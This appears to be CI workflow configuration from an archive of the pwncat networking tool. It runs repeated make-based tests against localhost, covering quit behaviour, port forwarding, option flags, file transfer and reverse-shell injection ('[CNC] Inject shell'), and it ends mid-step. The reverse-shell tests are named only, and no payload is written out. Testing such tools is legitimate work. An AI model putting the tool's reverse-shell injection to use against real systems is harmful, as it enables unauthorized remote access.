"[BEHAVIOUR] Server quits correctly 201" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--server-201 env: RETRIES: 5 # ------------------------------------------------------------ # Tests: Modes # ------------------------------------------------------------ - name: "[MODES] Local port forwarding" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make _test-mode--local_forward env: RETRIES: 5 - name: "[MODES] Remote port forwarding" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make _test-mode--remote_forward env: RETRIES: 5 # ------------------------------------------------------------ # Tests: Options # ------------------------------------------------------------ - name: "[OPTIONS] -n/--nodns" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make _test-options--nodns env: RETRIES: 5 - name: "[OPTIONS] -C/--crlf" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make _test-options--crlf env: RETRIES: 5 # ------------------------------------------------------------ # Tests: Options (keep open) # ------------------------------------------------------------ - name: "[OPTIONS] --keep-open 000" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-options--keep_open-000 env: RETRIES: 5 - name: "[OPTIONS] --keep-open 001" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-options--keep_open-001 env: RETRIES: 5 - name: "[OPTIONS] --keep-open 002" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-options--keep_open-002 env: RETRIES: 5 - name: "[OPTIONS] --keep-open 100" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-options--keep_open-100 env: RETRIES: 5 - name: "[OPTIONS] --keep-open 101" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-options--keep_open-101 env: RETRIES: 5 - name: "[OPTIONS] --keep-open 200" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-options--keep_open-200 env: RETRIES: 5 - name: "[OPTIONS] --keep-open 201" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-options--keep_open-201 env: RETRIES: 5 - name: "[OPTIONS] --keep-open 202" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-options--keep_open-202 env: RETRIES: 5 # ------------------------------------------------------------ # Tests: Options (reconn) # ------------------------------------------------------------ - name: "[OPTIONS] --reconn 000" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-options--reconn-000 env: RETRIES: 5 - name: "[OPTIONS] --reconn 001" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-options--reconn-001 env: RETRIES: 5 - name: "[OPTIONS] --reconn 002" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-options--reconn-002 env: RETRIES: 5 # ------------------------------------------------------------ # Tests: Options # ------------------------------------------------------------ - name: "[OPTIONS] --ping-intvl" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make _test-options--ping_intvl env: RETRIES: 5 - name: "[OPTIONS] --ping-word" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make _test-options--ping_word env: RETRIES: 5 # ------------------------------------------------------------ # Tests: Behaviour (File Transfer) # ------------------------------------------------------------ - name: "[BEHAVIOUR] File Transfer: send normal" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-base--file_transfer-send_normal env: RETRIES: 5 - name: "[BEHAVIOUR] File Transfer: send on eof" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-base--file_transfer-send_on_eof env: RETRIES: 5 # ------------------------------------------------------------ # Tests: CNC Self-inject # ------------------------------------------------------------ - name: "[CNC] Inject shell: pwncat as rev shell" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-cnc--inject_shell-pwncat env: RETRIES: 2 - name: "[CNC] Inject shell: revshell with banner and suffix (multi byte)" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-cnc--inject_shell-revshelll-multi_byte-banner-suffix env: RETRIES: 2 - name: "[CNC] Inject shell: revshell with banner and suffix (single byte)" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-cnc--inject_shell-revshelll-single_byte-banner-suffix env: RETRIES: 2 - name: "[CNC] Inject shell: revshell with banner and suffix (multi byte) - delayed" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-cnc--inject_shell-revshelll-multi_byte-banner-suffix-delayed env: RETRIES: 2 - name: "[CNC] Inject shell: revshell with banner and suffix (single byte) - delayed" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-cnc--inject_shell-revshelll-single_byte-banner-suffix-delayed env: RETRIES: 2 pwncat-0.1.2/.github/workflows/test-x64-macos-3.6.yml000066400000000000000000001215121414025024700221310ustar00rootroot00000000000000--- # https://help.github.com/en/actions/language-and-framework-guides/using-python-with-github-actions # https://github.com/actions/python-versions/blob/master/versions-manifest.json name: mac-3.6 on: pull_request: push: branches: - master tags: jobs: test: runs-on: macos-latest strategy: fail-fast: False name: "[x64] [macos] python-3.6" steps: # ------------------------------------------------------------ # Setup # ------------------------------------------------------------ - name: Checkout repository uses: actions/checkout@v2 - name: Set up Python uses: actions/setup-python@v2 with: python-version: 3.6 architecture: x64 - name: Set up PHP uses: shivammathur/setup-php@v2 with: php-version: '7.4' ini-values: max_execution_time=300 - name: "Setup /etc/hosts for Linux" shell: bash run: | if [ `uname` = "Linux" ]; then echo "\$ cat /etc/hosts" cat /etc/hosts echo ( echo "127.0.0.1 localhost"; echo "::1 localhost ip6-localhost ip6-loopback"; ) | sudo tee /etc/hosts echo echo "\$ cat /etc/hosts" cat /etc/hosts fi - name: Display Bash version shell: bash run: | bash --version whereis bash || true which bash || true - name: Display Python version shell: bash run: | python -c "import sys; print(sys.version)" whereis python || true which python || true - name: Display PHP version shell: bash run: | php --version whereis php || true which php || true - name: Resolve localhost shell: bash run: | echo echo "\$ host localost" host localhost || true echo echo "\$ python -c 'import socket;print(socket.gethostbyname(\"localhost\"))'" python -c 'import socket;print(socket.gethostbyname("localhost"))' || true echo echo "\$ python -c 'import socket;print(socket.getaddrinfo(\"localhost\", None))'" python -c 'import socket;print(socket.getaddrinfo("localhost", None))' || true echo echo "\$ python -c 'import socket;print(socket.getaddrinfo(\"localhost\", None, socket.AF_INET))'" python -c 'import socket;print(socket.getaddrinfo("localhost", None, socket.AF_INET))' || true echo echo "\$ python -c 'import socket;print(socket.getaddrinfo(\"localhost\", None, socket.AF_INET6))'" python -c 'import socket;print(socket.getaddrinfo("localhost", None, socket.AF_INET6))' || true # ------------------------------------------------------------ # Tests: Behaviour (Client) # ------------------------------------------------------------ - name: "[BEHAVIOUR] Client quits correctly 000" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--client-000 env: RETRIES: 5 - name: "[BEHAVIOUR] Client quits correctly 001" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--client-001 env: RETRIES: 5 - name: "[BEHAVIOUR] Client quits correctly 002" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--client-002 env: RETRIES: 5 - name: "[BEHAVIOUR] Client quits correctly 003" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--client-003 env: RETRIES: 5 - name: "[BEHAVIOUR] Client quits correctly 004" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--client-004 env: RETRIES: 5 - name: "[BEHAVIOUR] Client quits correctly 100" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--client-100 env: RETRIES: 5 - name: "[BEHAVIOUR] Client quits correctly 101" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--client-101 env: RETRIES: 5 - name: "[BEHAVIOUR] Client quits correctly 102" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--client-102 env: RETRIES: 5 - name: "[BEHAVIOUR] Client quits correctly 103" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--client-103 env: RETRIES: 5 - name: "[BEHAVIOUR] Client quits correctly 200" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--client-200 env: RETRIES: 5 - name: "[BEHAVIOUR] Client quits correctly 201" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--client-201 env: RETRIES: 5 # ------------------------------------------------------------ # Tests: Behaviour (Server) # ------------------------------------------------------------ - name: "[BEHAVIOUR] Server quits correctly 000" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--server-000 env: RETRIES: 5 - name: "[BEHAVIOUR] Server quits correctly 001" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--server-001 env: RETRIES: 5 - name: "[BEHAVIOUR] Server quits correctly 002" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--server-002 env: RETRIES: 5 - name: "[BEHAVIOUR] Server quits correctly 003" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--server-003 env: RETRIES: 5 - name: "[BEHAVIOUR] Server quits correctly 004" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--server-004 env: RETRIES: 5 - name: "[BEHAVIOUR] Server quits correctly 100" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--server-100 env: RETRIES: 5 - name: "[BEHAVIOUR] Server quits correctly 101" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--server-101 env: RETRIES: 5 - name: "[BEHAVIOUR] Server quits correctly 103" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) 